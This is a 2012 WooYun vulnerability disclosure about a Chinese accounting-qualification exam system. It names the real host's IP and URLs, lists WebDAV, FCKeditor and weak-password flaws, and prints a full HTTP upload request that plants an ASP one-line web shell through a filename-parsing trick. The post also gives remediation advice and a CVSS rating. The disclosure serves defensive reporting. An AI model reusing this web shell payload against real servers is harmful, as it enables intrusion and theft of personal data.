国家某会计从业资格考试系统安全问题 | wooyun-2012-06606

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2012-06606

漏洞标题：

国家某会计从业资格考试系统安全问题

漏洞详情

披露状态：

2012-05-02：细节已通知厂商并且等待厂商处理中
2012-05-04：厂商已经确认，细节仅向厂商公开
2012-05-14：细节向核心白帽子及相关领域专家公开
2012-05-24：细节向普通白帽子公开
2012-06-03：细节向实习白帽子公开
2012-06-16：细节向公众公开

简要描述：

对于这种外包出去的系统真是不敢苟同，无疑是为黑产带去了巨大利益。

详细说明：

跟之前的几个洞完全如出一辙

漏洞证明：

0，考试系统地址http://61.135.227.107:8080/testa/login.ashx 成绩查询与报名地址http://61.135.227.107:8080/signup/index.ashx

1，Webdav方式遍历+目录浏览+不安全的Fck编辑器

2，可过构造post上传文件，nc提交后直接得到shell

POST /FCKeditor/editor/filemanager/upload/asp/upload.asp HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------7dc1e712708a8
Cookie: ASPSESSIONIDSQQRATSD=OIPNKLEAKFFFGNPHHPOLKPBC
Host: 61.135.227.107:8080
Content-Length: 216
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
-----------------------------7dc1e712708a8
Content-Disposition: form-data; name="NewFile"; filename="11.asp;11.jpg"
Content-Type: text/plain
<%eval request("22")%>
-----------------------------7dc1e712708a8--

3,上传目录发现可疑文件

4，数据库弱口令，多个严重安全补丁未修补，攻击者借此可对其他系统进行渗透从而达到自己想要的目的

5，从该图也可看出该系统并未弃用又涉及个人信息，故请及时处理

修复方案：

为了下次考试安全与公正请及时禁用IIS上的不必要的功能，及时更新系统补丁，健壮系统各处密码，排查后门，删除FCK编辑器的不安全文件或使用安全的第三方编辑器
　

版权声明：转载请注明来源 Z-0ne@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2012-05-04 14:30

厂商回复：

CNVD确认漏洞情况，但未继续进行复现，转由CNCERT通报国务院某信息安全协调机构处置。
对漏洞评分如下：
CVSS：(AV:R/AC:L/Au:NR/C:C/A:P/I:C/B:N) score:9.67（最高10分，高危）
即：远程攻击、攻击难度低、不需要用户认证，对机密性、完整性造成完全影响，对可用性造成部分影响。
技术难度系数：1.1（一般，WEB DAV挺好用的，有没有快速批量检测方式？）
影响危害系数：1.4（严重，教育、考院，国之重器，存在信息泄露风险）
CNVD综合评分：9.67*1.1*1.4=14.89

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Z-0ne@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Z-0ne@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞